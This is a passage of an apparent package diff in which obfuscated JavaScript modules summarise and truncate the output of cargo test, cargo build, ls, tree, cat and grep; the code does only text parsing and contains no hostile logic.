_0x47114d=_0x44aaad[_0x528117(0x97)](),_0x357bb2=_0x47114d[_0x528117(0xb0)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x357bb2){_0x26b407+=parseInt(_0x357bb2[0x2]),_0x36f2bb+=parseInt(_0x357bb2[0x3]),_0x54e87f+=parseInt(_0x357bb2[0x4]),_0x402967+=parseInt(_0x357bb2[0x5]);continue;}if(_0x47114d===_0x528117(0xb9)||_0x47114d===_0x528117(0xba)){_0xc9d84=!![];continue;}if(_0xc9d84){if(_0x47114d['startsWith'](_0x528117(0x88))&&_0x47114d['endsWith'](_0x528117(0xb5))){if(_0x4f5902[_0x528117(0x89)]>0x0)_0x50a38d[_0x528117(0xb6)](_0x4f5902['join']('\x0a'));_0x4f5902=[_0x47114d[_0x528117(0x9b)](/^-+\s*/,'')[_0x528117(0x9b)](/\s*-+$/,'')];}else{if(_0x47114d===_0x528117(0xb9)||_0x47114d[_0x528117(0xa3)](_0x528117(0x9a))){if(_0x4f5902[_0x528117(0x89)]>0x0)_0x50a38d[_0x528117(0xb6)](_0x4f5902[_0x528117(0xa8)]('\x0a'));_0x4f5902=[],_0xc9d84=![];}else _0x47114d['length']>0x0&&_0x4f5902[_0x528117(0xb6)](_0x44aaad);}}}if(_0x4f5902[_0x528117(0x89)]>0x0)_0x50a38d[_0x528117(0xb6)](_0x4f5902[_0x528117(0xa8)]('\x0a'));if(_0x26b407===0x0&&_0x36f2bb===0x0&&_0x54e87f===0x0){if(_0x331790[_0x528117(0xb8)](_0x528117(0xa2)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x331790;}if(_0x36f2bb===0x0){const _0x3c0767=['Cargo\x20test:\x20'+_0x26b407+_0x528117(0xad)];if(_0x54e87f>0x0)_0x3c0767[_0x528117(0xb6)](_0x54e87f+'\x20ignored');return _0x3c0767[_0x528117(0xa8)](',\x20');}const _0x30c245=[_0x528117(0x8f)+_0x26b407+_0x528117(0xa5)+_0x36f2bb+_0x528117(0x8a)+_0x54e87f+_0x528117(0xac)];if(_0x50a38d[_0x528117(0x89)]>0x0){_0x30c245['push'](_0x528117(0x8b));const _0x48cdbe=0x3;for(let _0x464c4b=0x0;_0x464c4b<Math[_0x528117(0xb1)](_0x50a38d[_0x528117(0x89)],_0x48cdbe);_0x464c4b++){const _0x39aa65=_0x50a38d[_0x464c4b][_0x528117(0xaf)]('\x0a');_0x30c245['push']('\x20\x20'+(_0x464c4b+0x1)+'.\x20'+_0x39aa65[0x0]);const _0x1752cc=_0x39aa65['slice'](0x1),_0x4d2ccd=_0x1752cc[_0x528117(0xb7)](_0x352e99=>_0x352e99['trim']()['startsWith'](_0x528117(0x8e))||_0x352e99['includes'](_0x528117(0xb3))||_0x352e99[_0x528117(0xb8)](_0x528117(0x8c))||_0x352e99[_0x528117(0xb8)](_0x528117(0x86))||_0x352e99[_0x528117(0xb8)](_0x528117(0x94)));for(const _0x5073f3 of _0x4d2ccd[_0x528117(0x96)](0x0,0x5)){_0x30c245[_0x528117(0xb6)](_0x528117(0x85)+_0x5073f3['trim']());}}_0x50a38d[_0x528117(0x89)]>_0x48cdbe&&_0x30c245['push']('\x20\x20...\x20+'+(_0x50a38d[_0x528117(0x89)]-_0x48cdbe)+_0x528117(0xb2));}return _0x30c245[_0x528117(0xa8)]('\x0a');}function filterCargoBuild(_0xab9e08){const _0x398c5f=a0_0x487b41,_0xb8e0c1=_0xab9e08[_0x398c5f(0xaf)]('\x0a'),_0x494f8e=[],_0x2bc547=[];let _0x2d7ca2=0x0;for(const _0x52ee87 of _0xb8e0c1){const _0x42afa3=_0x52ee87['trim']();if(_0x42afa3[_0x398c5f(0xa3)](_0x398c5f(0xb4)))_0x2d7ca2++;else{if(_0x42afa3[_0x398c5f(0xa3)](_0x398c5f(0x9f))||_0x42afa3[_0x398c5f(0xa3)]('warning:'))_0x494f8e[_0x398c5f(0xb6)](_0x42afa3);else{if(_0x42afa3[_0x398c5f(0xa3)](_0x398c5f(0xa7))||_0x42afa3[_0x398c5f(0xa3)](_0x398c5f(0x9e)))_0x2bc547['push'](_0x42afa3);}}}if(_0x2bc547['length']===0x0&&_0x494f8e['length']===0x0)return _0x2d7ca2>0x0?_0x398c5f(0xa4)+_0x2d7ca2+_0x398c5f(0xa1):_0xab9e08[_0x398c5f(0x97)]();const _0x1dbd65=[];if(_0x2bc547[_0x398c5f(0x89)]>0x0){_0x1dbd65[_0x398c5f(0xb6)](_0x398c5f(0xa9)+_0x2bc547[_0x398c5f(0x89)]+'\x20errors,\x20'+_0x494f8e[_0x398c5f(0x89)]+'\x20warnings'),_0x1dbd65[_0x398c5f(0xb6)](_0x398c5f(0x92));for(const _0x8c3d3e of _0x2bc547[_0x398c5f(0x96)](0x0,0x5))_0x1dbd65[_0x398c5f(0xb6)]('\x20\x20'+_0x8c3d3e);if(_0x2bc547[_0x398c5f(0x89)]>0x5)_0x1dbd65['push']('\x20\x20...\x20+'+(_0x2bc547[_0x398c5f(0x89)]-0x5)+_0x398c5f(0xaa));}else _0x1dbd65['push'](_0x398c5f(0xa4)+_0x2d7ca2+_0x398c5f(0xae)+_0x494f8e['length']+_0x398c5f(0x99));if(_0x494f8e['length']>0x0&&_0x494f8e[_0x398c5f(0x89)]<=0x5){_0x1dbd65[_0x398c5f(0xb6)]('\x0aWarnings:');for(const _0x3bafa0 of _0x494f8e)_0x1dbd65['push']('\x20\x20'+_0x3bafa0);}else _0x494f8e[_0x398c5f(0x89)]>0x5&&_0x1dbd65['push']('\x0a('+_0x494f8e[_0x398c5f(0x89)]+_0x398c5f(0x90));return _0x1dbd65[_0x398c5f(0xa8)]('\x0a');}function a0_0x1f17(){const _0x2f73a0=['filter','includes','failures:','----\x20failures\x20----','5048AnijiR','\x20\x20\x20\x20','left:','470448bAsNYP','----\x20','length','\x20failed,\x20','\x0aFailures:','assert','filterCargoTest','thread','Cargo\x20test:\x20','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','10955nOLkfs','\x0aErrors:','2615109tdDsiM','right:','35Aeghum','slice','trim','4622LKuJxQ','\x20warnings','test\x20result:','replace','7988990virUZL','340xBFMvV','error:','warning[','8911PuLjzn','\x20crates\x20successfully','test\x20result:\x20ok','startsWith','Cargo:\x20compiled\x20','\x20passed,\x20','1708839HpgOPt','error[','join','Cargo:\x20','\x20more\x20errors','9MoyaWT','\x20ignored','\x20passed','\x20crates,\x20','split','match','min','\x20more\x20failures','panicked','Compiling\x20','\x20----','push'];a0_0x1f17=function(){return _0x2f73a0;};return a0_0x1f17();}
1
+ 'use strict';function a0_0x31b6(){const _0x579032=['987190dPRPmF','Cargo:\x20compiled\x20','error[','----\x20failures\x20----','\x20ignored','1918392PkIawX','\x20warnings','panicked','9ozZiuU','3ibvaHd','\x20failed,\x20','failures:','split','1499730pAglzJ','----\x20','\x20----','join','\x20\x20...\x20+','filterCargoTest','right:','Cargo:\x20','left:','startsWith','\x20\x20\x20\x20','\x20passed','__esModule','warning:','\x0aErrors:','trim','thread','32066QUPPFs','slice','16Vuwvyf','\x20crates\x20successfully','defineProperty','min','filterCargoBuild','876595KnBBuM','replace','Cargo\x20test:\x20','length','\x20more\x20errors','\x0aWarnings:','warning[','429664Gvbrfj','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','includes','match','error:','assert','1337581xLZKpT','Cargo\x20test:\x20all\x20tests\x20passed','test\x20result:','push'];a0_0x31b6=function(){return _0x579032;};return a0_0x31b6();}const a0_0x282674=a0_0x5ecb;function a0_0x5ecb(_0x495402,_0x28f796){_0x495402=_0x495402-0x9e;const _0x31b6d6=a0_0x31b6();let _0x5ecbd1=_0x31b6d6[_0x495402];return _0x5ecbd1;}(function(_0x228cd8,_0x4b7e6c){const _0xb15d9b=a0_0x5ecb,_0x3e0bbb=_0x228cd8();while(!![]){try{const _0x510120=parseInt(_0xb15d9b(0xd0))/0x1*(-parseInt(_0xb15d9b(0xd2))/0x2)+parseInt(_0xb15d9b(0xbb))/0x3*(parseInt(_0xb15d9b(0xa8))/0x4)+parseInt(_0xb15d9b(0xa1))/0x5+parseInt(_0xb15d9b(0xbf))/0x6+parseInt(_0xb15d9b(0xae))/0x7+-parseInt(_0xb15d9b(0xb7))/0x8+-parseInt(_0xb15d9b(0xba))/0x9*(parseInt(_0xb15d9b(0xb2))/0xa);if(_0x510120===_0x4b7e6c)break;else _0x3e0bbb['push'](_0x3e0bbb['shift']());}catch(_0x576002){_0x3e0bbb['push'](_0x3e0bbb['shift']());}}}(a0_0x31b6,0x1f6d7));Object[a0_0x282674(0x9e)](exports,a0_0x282674(0xcb),{'value':!![]}),exports[a0_0x282674(0xc4)]=filterCargoTest,exports[a0_0x282674(0xa0)]=filterCargoBuild;function filterCargoTest(_0x469694){const _0x3b9f4f=a0_0x282674,_0x55d564=_0x469694['split']('\x0a');let _0x6e7501=0x0,_0x5711b3=0x0,_0xd5faa4=0x0,_0x1f31d0=0x0;const _0x314ef1=[];let _0x3b6d64=![],_0x4a7d9c=[];for(const _0x5a7f5c of _0x55d564){const _0x2a7a3a=_0x5a7f5c[_0x3b9f4f(0xce)](),_0x34f3c2=_0x2a7a3a[_0x3b9f4f(0xab)](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x34f3c2){_0x6e7501+=parseInt(_0x34f3c2[0x2]),_0x5711b3+=parseInt(_0x34f3c2[0x3]),_0xd5faa4+=parseInt(_0x34f3c2[0x4]),_0x1f31d0+=parseInt(_0x34f3c2[0x5]);continue;}if(_0x2a7a3a==='failures:'||_0x2a7a3a===_0x3b9f4f(0xb5)){_0x3b6d64=!![];continue;}if(_0x3b6d64){if(_0x2a7a3a[_0x3b9f4f(0xc8)](_0x3b9f4f(0xc0))&&_0x2a7a3a['endsWith'](_0x3b9f4f(0xc1))){if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c[_0x3b9f4f(0xc2)]('\x0a'));_0x4a7d9c=[_0x2a7a3a['replace'](/^-+\s*/,'')[_0x3b9f4f(0xa2)](/\s*-+$/,'')];}else{if(_0x2a7a3a===_0x3b9f4f(0xbd)||_0x2a7a3a[_0x3b9f4f(0xc8)](_0x3b9f4f(0xb0))){if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c['join']('\x0a'));_0x4a7d9c=[],_0x3b6d64=![];}else _0x2a7a3a[_0x3b9f4f(0xa4)]>0x0&&_0x4a7d9c['push'](_0x5a7f5c);}}}if(_0x4a7d9c[_0x3b9f4f(0xa4)]>0x0)_0x314ef1[_0x3b9f4f(0xb1)](_0x4a7d9c[_0x3b9f4f(0xc2)]('\x0a'));if(_0x6e7501===0x0&&_0x5711b3===0x0&&_0xd5faa4===0x0){if(_0x469694[_0x3b9f4f(0xaa)]('test\x20result:\x20ok'))return _0x3b9f4f(0xaf);return _0x469694;}if(_0x5711b3===0x0){const _0x46be46=[_0x3b9f4f(0xa3)+_0x6e7501+_0x3b9f4f(0xca)];if(_0xd5faa4>0x0)_0x46be46[_0x3b9f4f(0xb1)](_0xd5faa4+'\x20ignored');return _0x46be46[_0x3b9f4f(0xc2)](',\x20');}const _0x2e507b=[_0x3b9f4f(0xa3)+_0x6e7501+'\x20passed,\x20'+_0x5711b3+_0x3b9f4f(0xbc)+_0xd5faa4+_0x3b9f4f(0xb6)];if(_0x314ef1['length']>0x0){_0x2e507b[_0x3b9f4f(0xb1)]('\x0aFailures:');const _0x5309bd=0x3;for(let _0x28dd47=0x0;_0x28dd47<Math[_0x3b9f4f(0x9f)](_0x314ef1['length'],_0x5309bd);_0x28dd47++){const _0x25cb19=_0x314ef1[_0x28dd47][_0x3b9f4f(0xbe)]('\x0a');_0x2e507b[_0x3b9f4f(0xb1)]('\x20\x20'+(_0x28dd47+0x1)+'.\x20'+_0x25cb19[0x0]);const _0x2cd658=_0x25cb19[_0x3b9f4f(0xd1)](0x1),_0x5322ce=_0x2cd658['filter'](_0x91eb5c=>_0x91eb5c['trim']()[_0x3b9f4f(0xc8)](_0x3b9f4f(0xcf))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xb9))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xad))||_0x91eb5c[_0x3b9f4f(0xaa)](_0x3b9f4f(0xc7))||_0x91eb5c['includes'](_0x3b9f4f(0xc5)));for(const _0x47bf2b of _0x5322ce[_0x3b9f4f(0xd1)](0x0,0x5)){_0x2e507b['push'](_0x3b9f4f(0xc9)+_0x47bf2b[_0x3b9f4f(0xce)]());}}_0x314ef1[_0x3b9f4f(0xa4)]>_0x5309bd&&_0x2e507b[_0x3b9f4f(0xb1)]('\x20\x20...\x20+'+(_0x314ef1[_0x3b9f4f(0xa4)]-_0x5309bd)+'\x20more\x20failures');}return _0x2e507b[_0x3b9f4f(0xc2)]('\x0a');}function filterCargoBuild(_0x2c59ae){const _0x3874be=a0_0x282674,_0xe87cf3=_0x2c59ae[_0x3874be(0xbe)]('\x0a'),_0x7e3236=[],_0x1c3322=[];let _0x751bb5=0x0;for(const _0x4831fb of _0xe87cf3){const _0x206c87=_0x4831fb['trim']();if(_0x206c87['startsWith']('Compiling\x20'))_0x751bb5++;else{if(_0x206c87['startsWith'](_0x3874be(0xa7))||_0x206c87[_0x3874be(0xc8)](_0x3874be(0xcc)))_0x7e3236[_0x3874be(0xb1)](_0x206c87);else{if(_0x206c87[_0x3874be(0xc8)](_0x3874be(0xb4))||_0x206c87[_0x3874be(0xc8)](_0x3874be(0xac)))_0x1c3322[_0x3874be(0xb1)](_0x206c87);}}}if(_0x1c3322[_0x3874be(0xa4)]===0x0&&_0x7e3236[_0x3874be(0xa4)]===0x0)return _0x751bb5>0x0?_0x3874be(0xb3)+_0x751bb5+_0x3874be(0xd3):_0x2c59ae[_0x3874be(0xce)]();const _0x39789a=[];if(_0x1c3322[_0x3874be(0xa4)]>0x0){_0x39789a[_0x3874be(0xb1)](_0x3874be(0xc6)+_0x1c3322[_0x3874be(0xa4)]+'\x20errors,\x20'+_0x7e3236[_0x3874be(0xa4)]+'\x20warnings'),_0x39789a[_0x3874be(0xb1)](_0x3874be(0xcd));for(const _0x1a4b64 of _0x1c3322[_0x3874be(0xd1)](0x0,0x5))_0x39789a['push']('\x20\x20'+_0x1a4b64);if(_0x1c3322[_0x3874be(0xa4)]>0x5)_0x39789a[_0x3874be(0xb1)](_0x3874be(0xc3)+(_0x1c3322['length']-0x5)+_0x3874be(0xa5));}else _0x39789a[_0x3874be(0xb1)](_0x3874be(0xb3)+_0x751bb5+'\x20crates,\x20'+_0x7e3236['length']+_0x3874be(0xb8));if(_0x7e3236[_0x3874be(0xa4)]>0x0&&_0x7e3236['length']<=0x5){_0x39789a[_0x3874be(0xb1)](_0x3874be(0xa6));for(const _0x4bc686 of _0x7e3236)_0x39789a[_0x3874be(0xb1)]('\x20\x20'+_0x4bc686);}else _0x7e3236[_0x3874be(0xa4)]>0x5&&_0x39789a[_0x3874be(0xb1)]('\x0a('+_0x7e3236[_0x3874be(0xa4)]+_0x3874be(0xa9));return _0x39789a[_0x3874be(0xc2)]('\x0a');}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x3f1de9=a0_0xfc9e;(function(_0xe38a91,_0x5e07d6){const _0x398555=a0_0xfc9e,_0x11a661=_0xe38a91();while(!![]){try{const _0x31d7a4=parseInt(_0x398555(0xa8))/0x1+parseInt(_0x398555(0xc1))/0x2+parseInt(_0x398555(0xa4))/0x3+parseInt(_0x398555(0xba))/0x4+-parseInt(_0x398555(0xaa))/0x5+parseInt(_0x398555(0xb6))/0x6*(-parseInt(_0x398555(0xa3))/0x7)+-parseInt(_0x398555(0xa5))/0x8;if(_0x31d7a4===_0x5e07d6)break;else _0x11a661['push'](_0x11a661['shift']());}catch(_0x34b1f1){_0x11a661['push'](_0x11a661['shift']());}}}(a0_0x47c8,0xda909));function a0_0x47c8(){const _0x354c20=['\x20directories,\x20','includes','substring','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','filterGrep','3743538ctxmJy','filter','filterTree','__esModule','5119924KLBCLy','No\x20matches\x20found','trim','...\x20+','\x20matches\x20across\x20','\x0a...\x20(','join','2061106HpdpwF','length','keys','match','startsWith','slice','filterLs','7MfypqK','2832771uhEOht','16179352DUqNFy','\x20more\x20files\x20with\x20matches','\x20lines\x20truncated]\x20...\x0a','288235eTGWBh','total\x20','7215WicvRk','\x20more\x20directories','indexOf','push','\x20matches\x20in\x20this\x20file)','\x20files)','\x0a...\x20['];a0_0x47c8=function(){return _0x354c20;};return a0_0x47c8();}Object['defineProperty'](exports,a0_0x3f1de9(0xb9),{'value':!![]}),exports[a0_0x3f1de9(0xc7)]=filterLs,exports[a0_0x3f1de9(0xb8)]=filterTree,exports['filterCat']=filterCat,exports[a0_0x3f1de9(0xb5)]=filterGrep;function a0_0xfc9e(_0x5b386f,_0x11950f){_0x5b386f=_0x5b386f-0xa3;const _0x47c814=a0_0x47c8();let _0xfc9e17=_0x47c814[_0x5b386f];return _0xfc9e17;}function filterLs(_0x40bb6e){const _0x4ffde7=a0_0x3f1de9,_0x1feb2b=_0x40bb6e['split']('\x0a')[_0x4ffde7(0xb7)](_0x16a703=>_0x16a703[_0x4ffde7(0xbc)]()[_0x4ffde7(0xc2)]>0x0);if(_0x1feb2b[_0x4ffde7(0xc2)]===0x0)return'Empty\x20directory';if(_0x1feb2b['length']<=0x1e)return _0x40bb6e[_0x4ffde7(0xbc)]();const _0x3e59ee=[],_0x2feea9=[];for(const _0x1c4eb4 of _0x1feb2b){const _0x3afd08=_0x1c4eb4[_0x4ffde7(0xbc)]();if(_0x3afd08[_0x4ffde7(0xc5)](_0x4ffde7(0xa9))||_0x3afd08[_0x4ffde7(0xc5)]('d')&&_0x3afd08[_0x4ffde7(0xb2)]('..'))continue;_0x3afd08['endsWith']('/')||_0x3afd08[_0x4ffde7(0xc5)]('d')&&_0x3afd08[_0x4ffde7(0xb2)]('\x20')?_0x3e59ee[_0x4ffde7(0xad)](_0x3afd08):_0x2feea9[_0x4ffde7(0xad)](_0x3afd08);}const _0x3c13a7=[];return _0x3e59ee[_0x4ffde7(0xc2)]>0x0&&(_0x3e59ee[_0x4ffde7(0xc2)]<=0xf?_0x3c13a7['push'](..._0x3e59ee):(_0x3c13a7[_0x4ffde7(0xad)](..._0x3e59ee[_0x4ffde7(0xc6)](0x0,0xa)),_0x3c13a7[_0x4ffde7(0xad)](_0x4ffde7(0xbd)+(_0x3e59ee[_0x4ffde7(0xc2)]-0xa)+_0x4ffde7(0xab)))),_0x2feea9['length']>0x0&&(_0x2feea9['length']<=0x14?_0x3c13a7[_0x4ffde7(0xad)](..._0x2feea9):(_0x3c13a7[_0x4ffde7(0xad)](..._0x2feea9[_0x4ffde7(0xc6)](0x0,0xf)),_0x3c13a7[_0x4ffde7(0xad)](_0x4ffde7(0xbd)+(_0x2feea9[_0x4ffde7(0xc2)]-0xf)+'\x20more\x20files'))),_0x3c13a7['push']('\x0a('+_0x3e59ee[_0x4ffde7(0xc2)]+_0x4ffde7(0xb1)+_0x2feea9[_0x4ffde7(0xc2)]+_0x4ffde7(0xaf)),_0x3c13a7[_0x4ffde7(0xc0)]('\x0a');}function filterTree(_0x2fc3ce){const _0x57fe74=a0_0x3f1de9,_0x5ef4e7=_0x2fc3ce['split']('\x0a');if(_0x5ef4e7[_0x57fe74(0xc2)]<=0x32)return _0x2fc3ce[_0x57fe74(0xbc)]();const _0x5aca8a=[];let _0x448cbc=0x0,_0x4ef149=0x0,_0x50a84d=0x0;for(const _0x4ad28a of _0x5ef4e7){const _0x128317=_0x4ad28a[_0x57fe74(0xc4)](/(\d+)\s+director/),_0x5ad68a=_0x4ad28a['match'](/(\d+)\s+file/);if(_0x128317)_0x50a84d=parseInt(_0x128317[0x1]);if(_0x5ad68a)_0x4ef149=parseInt(_0x5ad68a[0x1]);const _0x5d1581=(_0x4ad28a[_0x57fe74(0xc4)](/^[│├└\s─]+/)||[''])[0x0][_0x57fe74(0xc2)];_0x5d1581<=0x4&&(_0x5aca8a[_0x57fe74(0xad)](_0x4ad28a),_0x448cbc++);}return _0x5ef4e7[_0x57fe74(0xc2)]>_0x5aca8a[_0x57fe74(0xc2)]&&_0x5aca8a[_0x57fe74(0xad)](_0x57fe74(0xbf)+_0x50a84d+_0x57fe74(0xb1)+_0x4ef149+_0x57fe74(0xb4)),_0x5aca8a[_0x57fe74(0xc0)]('\x0a');}function filterCat(_0x278e0c){const _0x55cb91=a0_0x3f1de9,_0x59b4b8=_0x278e0c['split']('\x0a');if(_0x59b4b8[_0x55cb91(0xc2)]<=0x64)return _0x278e0c;const _0x361e06=[];return _0x361e06[_0x55cb91(0xad)](..._0x59b4b8[_0x55cb91(0xc6)](0x0,0x32)),_0x361e06[_0x55cb91(0xad)](_0x55cb91(0xb0)+(_0x59b4b8[_0x55cb91(0xc2)]-0x50)+_0x55cb91(0xa7)),_0x361e06[_0x55cb91(0xad)](..._0x59b4b8[_0x55cb91(0xc6)](-0x1e)),_0x361e06[_0x55cb91(0xad)]('\x0a('+_0x59b4b8[_0x55cb91(0xc2)]+'\x20lines\x20total)'),_0x361e06[_0x55cb91(0xc0)]('\x0a');}function filterGrep(_0x43270d){const _0x453b0a=a0_0x3f1de9,_0x3b8f96=_0x43270d['split']('\x0a')[_0x453b0a(0xb7)](_0x190002=>_0x190002['trim']()['length']>0x0);if(_0x3b8f96[_0x453b0a(0xc2)]===0x0)return _0x453b0a(0xbb);if(_0x3b8f96['length']<=0x32)return _0x43270d[_0x453b0a(0xbc)]();const _0x5254d7={},_0x2d375d=[];for(const _0x12f6f4 of _0x3b8f96){const _0x2ebaae=_0x12f6f4[_0x453b0a(0xac)](':');if(_0x2ebaae>0x0&&_0x2ebaae<0xc8){const _0x1399a8=_0x12f6f4[_0x453b0a(0xb3)](0x0,_0x2ebaae);if(_0x1399a8[_0x453b0a(0xb2)]('/')||_0x1399a8[_0x453b0a(0xb2)]('\x5c')||_0x1399a8['includes']('.')){if(!_0x5254d7[_0x1399a8])_0x5254d7[_0x1399a8]=[];_0x5254d7[_0x1399a8][_0x453b0a(0xad)](_0x12f6f4['substring'](_0x2ebaae+0x1)[_0x453b0a(0xbc)]());continue;}}_0x2d375d[_0x453b0a(0xad)](_0x12f6f4);}const _0x40ea13=[],_0x4a7ef9=Object[_0x453b0a(0xc3)](_0x5254d7);if(_0x4a7ef9['length']>0x0){const _0x152fdd=0x14,_0x367cf6=_0x4a7ef9['slice'](0x0,_0x152fdd);for(const _0x25df03 of _0x367cf6){const _0xbcddb5=_0x5254d7[_0x25df03];if(_0xbcddb5[_0x453b0a(0xc2)]<=0x3)for(const _0x120df2 of _0xbcddb5){_0x40ea13[_0x453b0a(0xad)](_0x25df03+':\x20'+_0x120df2);}else _0x40ea13[_0x453b0a(0xad)](_0x25df03+':\x20'+_0xbcddb5[0x0]),_0x40ea13[_0x453b0a(0xad)](_0x25df03+':\x20...\x20('+_0xbcddb5[_0x453b0a(0xc2)]+_0x453b0a(0xae));}_0x4a7ef9[_0x453b0a(0xc2)]>_0x152fdd&&_0x40ea13[_0x453b0a(0xad)]('...\x20+'+(_0x4a7ef9['length']-_0x152fdd)+_0x453b0a(0xa6));}if(_0x2d375d[_0x453b0a(0xc2)]>0x0){const _0x19c0cb=0x1e;_0x40ea13[_0x453b0a(0xad)](..._0x2d375d[_0x453b0a(0xc6)](0x0,_0x19c0cb)),_0x2d375d[_0x453b0a(0xc2)]>_0x19c0cb&&_0x40ea13[_0x453b0a(0xad)](_0x453b0a(0xbd)+(_0x2d375d['length']-_0x19c0cb)+'\x20more\x20matches');}const _0x4aab5c=_0x3b8f96[_0x453b0a(0xc2)];return _0x40ea13[_0x453b0a(0xad)]('\x0a('+_0x4aab5c+_0x453b0a(0xbe)+(_0x4a7ef9[_0x453b0a(0xc2)]||'?')+'\x20files)'),_0x40ea13[_0x453b0a(0xc0)]('\x0a');}
1
+ 'use strict';const a0_0x182c7a=a0_0x470e;function a0_0x152a(){const _0x1b572e=['3840282fpDLKn','Empty\x20directory','\x20more\x20files','includes','keys','...\x20+','10KfPUCT','__esModule','17459684kUuJLj','\x0a...\x20(','10kiqmJO','filterGrep','5664177AYvMLr','filterTree','\x20lines\x20truncated]\x20...\x0a','slice','match','\x20more\x20matches','65936AJgKaZ','1259251FwudBr','\x20matches\x20in\x20this\x20file)','\x20more\x20directories','\x20files)',':\x20...\x20(','split','filter','push','\x20lines\x20total)','16eilbxV','startsWith','\x20directories,\x20','2PerDZD','defineProperty','990848SfmGfZ','filterCat','trim','endsWith','length','2287497CMLJLF','\x0a...\x20[','substring','join'];a0_0x152a=function(){return _0x1b572e;};return a0_0x152a();}(function(_0x5809a8,_0x3d0f34){const _0x1808b9=a0_0x470e,_0x403156=_0x5809a8();while(!![]){try{const _0x3ceb29=-parseInt(_0x1808b9(0x128))/0x1+-parseInt(_0x1808b9(0x135))/0x2*(-parseInt(_0x1808b9(0x13c))/0x3)+parseInt(_0x1808b9(0x137))/0x4*(parseInt(_0x1808b9(0x120))/0x5)+parseInt(_0x1808b9(0x140))/0x6+parseInt(_0x1808b9(0x129))/0x7*(-parseInt(_0x1808b9(0x132))/0x8)+parseInt(_0x1808b9(0x122))/0x9*(parseInt(_0x1808b9(0x11c))/0xa)+-parseInt(_0x1808b9(0x11e))/0xb;if(_0x3ceb29===_0x3d0f34)break;else _0x403156['push'](_0x403156['shift']());}catch(_0x2e45de){_0x403156['push'](_0x403156['shift']());}}}(a0_0x152a,0x7d935));function a0_0x470e(_0x37dba2,_0x31a14e){_0x37dba2=_0x37dba2-0x11c;const _0x152a3a=a0_0x152a();let _0x470ed6=_0x152a3a[_0x37dba2];return _0x470ed6;}Object[a0_0x182c7a(0x136)](exports,a0_0x182c7a(0x11d),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x182c7a(0x123)]=filterTree,exports[a0_0x182c7a(0x138)]=filterCat,exports[a0_0x182c7a(0x121)]=filterGrep;function filterLs(_0x3919d4){const _0x85518f=a0_0x182c7a,_0x2de4cd=_0x3919d4[_0x85518f(0x12e)]('\x0a')[_0x85518f(0x12f)](_0x128440=>_0x128440['trim']()[_0x85518f(0x13b)]>0x0);if(_0x2de4cd['length']===0x0)return _0x85518f(0x141);if(_0x2de4cd[_0x85518f(0x13b)]<=0x1e)return _0x3919d4[_0x85518f(0x139)]();const _0x18590f=[],_0x6577a3=[];for(const _0x2db643 of _0x2de4cd){const _0x431e8e=_0x2db643['trim']();if(_0x431e8e[_0x85518f(0x133)]('total\x20')||_0x431e8e[_0x85518f(0x133)]('d')&&_0x431e8e[_0x85518f(0x143)]('..'))continue;_0x431e8e[_0x85518f(0x13a)]('/')||_0x431e8e[_0x85518f(0x133)]('d')&&_0x431e8e[_0x85518f(0x143)]('\x20')?_0x18590f[_0x85518f(0x130)](_0x431e8e):_0x6577a3[_0x85518f(0x130)](_0x431e8e);}const _0x145f4f=[];return _0x18590f[_0x85518f(0x13b)]>0x0&&(_0x18590f[_0x85518f(0x13b)]<=0xf?_0x145f4f[_0x85518f(0x130)](..._0x18590f):(_0x145f4f[_0x85518f(0x130)](..._0x18590f[_0x85518f(0x125)](0x0,0xa)),_0x145f4f[_0x85518f(0x130)](_0x85518f(0x145)+(_0x18590f['length']-0xa)+_0x85518f(0x12b)))),_0x6577a3['length']>0x0&&(_0x6577a3[_0x85518f(0x13b)]<=0x14?_0x145f4f[_0x85518f(0x130)](..._0x6577a3):(_0x145f4f[_0x85518f(0x130)](..._0x6577a3[_0x85518f(0x125)](0x0,0xf)),_0x145f4f[_0x85518f(0x130)]('...\x20+'+(_0x6577a3[_0x85518f(0x13b)]-0xf)+_0x85518f(0x142)))),_0x145f4f[_0x85518f(0x130)]('\x0a('+_0x18590f[_0x85518f(0x13b)]+_0x85518f(0x134)+_0x6577a3['length']+_0x85518f(0x12c)),_0x145f4f[_0x85518f(0x13f)]('\x0a');}function filterTree(_0x36dfa3){const _0x4521b9=a0_0x182c7a,_0xeb9af0=_0x36dfa3[_0x4521b9(0x12e)]('\x0a');if(_0xeb9af0['length']<=0x32)return _0x36dfa3[_0x4521b9(0x139)]();const _0x50cdcc=[];let _0x1dd5dc=0x0,_0x47dead=0x0,_0x2488c6=0x0;for(const _0xbfc5c7 of _0xeb9af0){const _0x1b0526=_0xbfc5c7['match'](/(\d+)\s+director/),_0xf7dc52=_0xbfc5c7[_0x4521b9(0x126)](/(\d+)\s+file/);if(_0x1b0526)_0x2488c6=parseInt(_0x1b0526[0x1]);if(_0xf7dc52)_0x47dead=parseInt(_0xf7dc52[0x1]);const _0x50c972=(_0xbfc5c7[_0x4521b9(0x126)](/^[│├└\s─]+/)||[''])[0x0]['length'];_0x50c972<=0x4&&(_0x50cdcc['push'](_0xbfc5c7),_0x1dd5dc++);}return _0xeb9af0[_0x4521b9(0x13b)]>_0x50cdcc[_0x4521b9(0x13b)]&&_0x50cdcc['push'](_0x4521b9(0x11f)+_0x2488c6+_0x4521b9(0x134)+_0x47dead+'\x20files\x20total\x20—\x20deep\x20entries\x20truncated)'),_0x50cdcc[_0x4521b9(0x13f)]('\x0a');}function filterCat(_0x584e09){const _0x3e37fa=a0_0x182c7a,_0x89e201=_0x584e09[_0x3e37fa(0x12e)]('\x0a');if(_0x89e201[_0x3e37fa(0x13b)]<=0x64)return _0x584e09;const _0x18e035=[];return 